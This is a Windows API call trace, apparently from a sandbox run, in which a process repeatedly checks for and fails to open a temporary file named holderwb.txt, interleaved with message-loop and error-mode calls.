	[0099.240] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.240] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.240] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.241] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.241] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.241] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.241] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.241] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.241] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.241] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.242] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.242] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.242] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.242] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.242] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.243] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.243] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.243] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.243] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.243] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.244] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.244] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.244] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.244] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.244] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.244] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.245] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.245] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.245] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.245] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.245] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.245] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.245] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.246] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.246] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.246] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.246] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.246] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.246] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.246] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.247] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.247] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.247] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.248] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.248] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.248] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.248] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.249] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.249] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.249] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.249] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.249] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.249] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.249] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.250] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.250] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.250] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.250] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.250] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.250] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.250] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.251] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.251] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.251] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.251] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.251] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.252] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.252] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.252] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.252] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.253] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.253] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.253] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.253] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.253] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.254] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.254] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.254] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.255] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
